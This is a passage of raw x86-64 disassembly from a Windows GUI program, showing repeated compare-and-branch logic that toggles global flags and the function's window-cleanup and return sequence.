jne 0x14005e10f
test r15b, r15b
je 0x14005e169
cmp byte [0x1403b035b], 0
jmp 0x14005e159
cmp eax, 6
jne 0x14005e122
test r12b, r12b
je 0x14005e169
cmp byte [0x1403b0323], 0
jmp 0x14005e159
cmp eax, 7
jne 0x14005e135
test r13b, r13b
je 0x14005e169
cmp byte [0x1403b03de], 0
jmp 0x14005e159
cmp eax, 8
jne 0x14005e148
test r9b, r9b
je 0x14005e169
cmp byte [0x1403b0299], 0
jmp 0x14005e159
cmp eax, 9
jne 0x14005e169
test r10b, r10b
je 0x14005e169
cmp byte [0x1403b0358], 0
jne 0x14005e169
cmp byte [0x1403b039e], 0
sete byte [0x1403b039e]
mov eax, dword [0x1403b03e0]
cmp eax, 1
jne 0x14005e18f
test bl, bl
je 0x14005e1f3
test r11b, r11b
jne 0x14005e1f3
cmp byte [0x1403b0392], 0
sete al
mov byte [0x1403b0392], al
jmp 0x14005e1fa
cmp eax, 2
jne 0x14005e19d
test dil, dil
je 0x14005e1f3
test dl, dl
jmp 0x14005e17b
cmp eax, 3
jne 0x14005e1ac
test sil, sil
je 0x14005e1f3
test r8b, r8b
jmp 0x14005e17b
cmp eax, 4
jne 0x14005e1ba
test r14b, r14b
je 0x14005e1f3
test cl, cl
jmp 0x14005e17b
cmp eax, 5
jne 0x14005e1cd
test r15b, r15b
je 0x14005e1f3
cmp byte [0x1403b035b], 0
jmp 0x14005e17b
cmp eax, 6
jne 0x14005e1e0
test r12b, r12b
je 0x14005e1f3
cmp byte [0x1403b0323], 0
jmp 0x14005e17b
cmp eax, 7
jne 0x14005e1f3
test r13b, r13b
je 0x14005e1f3
cmp byte [0x1403b03de], 0
jmp 0x14005e17b
movzx eax, byte [0x1403b0392]
mov ecx, dword [0x1403b02bc]
cmp ecx, 8
jne 0x14005e213
test r9b, r9b
je 0x14005e22f
cmp byte [0x1403b0299], 0
jmp 0x14005e224
cmp ecx, 9
jne 0x14005e22f
test r10b, r10b
je 0x14005e22f
cmp byte [0x1403b0358], 0
jne 0x14005e22f
test al, al
sete byte [0x1403b0392]
mov r8d, dword [0x1403b037c]
cmp r8d, 1
jne 0x14005e262
test bl, bl
je 0x14005e311
test r11b, r11b
jne 0x14005e311
cmp byte [0x1403b0395], 0
sete dl
mov byte [0x1403b0395], dl
jmp 0x14005e318
cmp r8d, 2
jne 0x14005e275
test dil, dil
je 0x14005e311
test dl, dl
jmp 0x14005e247
cmp r8d, 3
jne 0x14005e28d
test sil, sil
je 0x14005e311
cmp byte [0x1403b0327], 0
jmp 0x14005e247
cmp r8d, 4
jne 0x14005e2a1
test r14b, r14b
je 0x14005e311
cmp byte [0x1403b02c1], 0
jmp 0x14005e247
cmp r8d, 5
jne 0x14005e2b5
test r15b, r15b
je 0x14005e311
cmp byte [0x1403b035b], 0
jmp 0x14005e247
cmp r8d, 6
jne 0x14005e2cc
test r12b, r12b
je 0x14005e311
cmp byte [0x1403b0323], 0
jmp 0x14005e247
cmp r8d, 7
jne 0x14005e2e3
test r13b, r13b
je 0x14005e311
cmp byte [0x1403b03de], 0
jmp 0x14005e247
cmp r8d, 8
jne 0x14005e2fa
test r9b, r9b
je 0x14005e311
cmp byte [0x1403b0299], 0
jmp 0x14005e247
cmp r8d, 9
jne 0x14005e311
test r10b, r10b
je 0x14005e311
cmp byte [0x1403b0358], 0
jmp 0x14005e247
movzx edx, byte [0x1403b0395]
cmp ecx, 1
jne 0x14005e348
test bl, bl
je 0x14005e4c9
movzx ecx, byte [0x1403b03aa]
test r11b, r11b
jne 0x14005e4d0
cmp byte [0x1403b0393], r11b
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 2
jne 0x14005e377
movzx ecx, byte [0x1403b03aa]
test dil, dil
je 0x14005e4d0
test cl, cl
jne 0x14005e4d0
cmp byte [0x1403b0393], cl
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 3
jne 0x14005e3ac
test sil, sil
je 0x14005e4c9
cmp byte [0x1403b0327], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 4
jne 0x14005e3e1
test r14b, r14b
je 0x14005e4c9
cmp byte [0x1403b02c1], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 5
jne 0x14005e416
test r15b, r15b
je 0x14005e4c9
cmp byte [0x1403b035b], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 6
jne 0x14005e44b
test r12b, r12b
je 0x14005e4c9
cmp byte [0x1403b0323], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 7
jne 0x14005e475
test r13b, r13b
je 0x14005e4c9
cmp byte [0x1403b03de], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 8
jne 0x14005e49f
test r9b, r9b
je 0x14005e4c9
cmp byte [0x1403b0299], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
cmp ecx, 9
jne 0x14005e4c9
test r10b, r10b
je 0x14005e4c9
cmp byte [0x1403b0358], 0
movzx ecx, byte [0x1403b03aa]
jne 0x14005e4d0
cmp byte [0x1403b0393], 0
sete byte [0x1403b0393]
jmp 0x14005e4d0
movzx ecx, byte [0x1403b03aa]
mov eax, dword [0x1403b03e4]
cmp eax, 1
jne 0x14005e4eb
test bl, bl
je 0x14005e597
test r11b, r11b
jmp 0x14005e587
cmp eax, 2
jne 0x14005e500
test dil, dil
je 0x14005e597
test cl, cl
jmp 0x14005e587
cmp eax, 3
jne 0x14005e517
test sil, sil
je 0x14005e597
cmp byte [0x1403b0327], 0
jmp 0x14005e587
cmp eax, 4
jne 0x14005e52a
test r14b, r14b
je 0x14005e597
cmp byte [0x1403b02c1], 0
jmp 0x14005e587
cmp eax, 5
jne 0x14005e53d
test r15b, r15b
je 0x14005e597
cmp byte [0x1403b035b], 0
jmp 0x14005e587
cmp eax, 6
jne 0x14005e550
test r12b, r12b
je 0x14005e597
cmp byte [0x1403b0323], 0
jmp 0x14005e587
cmp eax, 7
jne 0x14005e563
test r13b, r13b
je 0x14005e597
cmp byte [0x1403b03de], 0
jmp 0x14005e587
cmp eax, 8
jne 0x14005e576
test r9b, r9b
je 0x14005e597
cmp byte [0x1403b0299], 0
jmp 0x14005e587
cmp eax, 9
jne 0x14005e597
test r10b, r10b
je 0x14005e597
cmp byte [0x1403b0358], 0
jne 0x14005e597
cmp byte [0x1403b0398], 0
sete byte [0x1403b0398]
mov eax, dword [0x1403b03ac]
cmp eax, 1
jne 0x14005e5b2
test bl, bl
je 0x14005e677
test r11b, r11b
jmp 0x14005e667
cmp eax, 2
jne 0x14005e5c7
test dil, dil
je 0x14005e677
test cl, cl
jmp 0x14005e667
cmp eax, 3
jne 0x14005e5e1
test sil, sil
je 0x14005e677
cmp byte [0x1403b0327], 0
jmp 0x14005e667
cmp eax, 4
jne 0x14005e5f8
test r14b, r14b
je 0x14005e677
cmp byte [0x1403b02c1], 0
jmp 0x14005e667
cmp eax, 5
jne 0x14005e61d
test r15b, r15b
je 0x14005e677
cmp byte [0x1403b035b], 0
jne 0x14005e677
cmp byte [0x1403b0396], 0
sete al
mov byte [0x1403b0396], al
jmp 0x14005e67e
cmp eax, 6
jne 0x14005e630
test r12b, r12b
je 0x14005e677
cmp byte [0x1403b0323], 0
jmp 0x14005e667
cmp eax, 7
jne 0x14005e643
test r13b, r13b
je 0x14005e677
cmp byte [0x1403b03de], 0
jmp 0x14005e667
cmp eax, 8
jne 0x14005e656
test r9b, r9b
je 0x14005e677
cmp byte [0x1403b0299], 0
jmp 0x14005e667
cmp eax, 9
jne 0x14005e677
test r10b, r10b
je 0x14005e677
cmp byte [0x1403b0358], 0
jne 0x14005e677
cmp byte [0x1403b039c], 0
sete byte [0x1403b039c]
movzx eax, byte [0x1403b0396]
mov ecx, dword [0x1403b038c]
cmp ecx, 1
jne 0x14005e6af
test bl, bl
je 0x14005e806
movzx ecx, byte [0x1403b03aa]
test r11b, r11b
jne 0x14005e80d
cmp ecx, 2
jne 0x14005e6da
movzx ecx, byte [0x1403b03aa]
test dil, dil
je 0x14005e80d
cmp ecx, 3
jne 0x14005e70a
movzx ecx, byte [0x1403b03aa]
mov eax, dword [0x1403e61a4]
cmp eax, 1
jne 0x14005e843
call fcn.140046360
call fcn.1400466b0
xor ecx, ecx
call fcn.140006670
call fcn.140063be0
mov rcx, qword [0x1403b0348]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm14, xmmword [rsp + 0x4e40]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x4e50]
movaps xmm12, xmmword [rsp + 0x4e60]
movaps xmm11, xmmword [rsp + 0x4e70]
movaps xmm10, xmmword [rsp + 0x4e80]
movaps xmm9, xmmword [rsp + 0x4e90]
movaps xmm8, xmmword [rsp + 0x4ea0]
mov r15, qword [rsp + 0x4ed0]
mov r13, qword [rsp + 0x4ee0]
mov rsi, qword [rsp + 0x4f08]
movaps xmm7, xmmword [rsp + 0x4eb0]
movaps xmm6, xmmword [rsp + 0x4ec0]
mov rdi, qword [rsp + 0x4f10]
movaps xmm15, xmmword [rsp + 0x4e30]
mov rbx, qword [rsp + 0x4f00]
mov r14, qword [rsp + 0x4ed8]
add rsp, 0x4ee8
pop r12
pop rbp
ret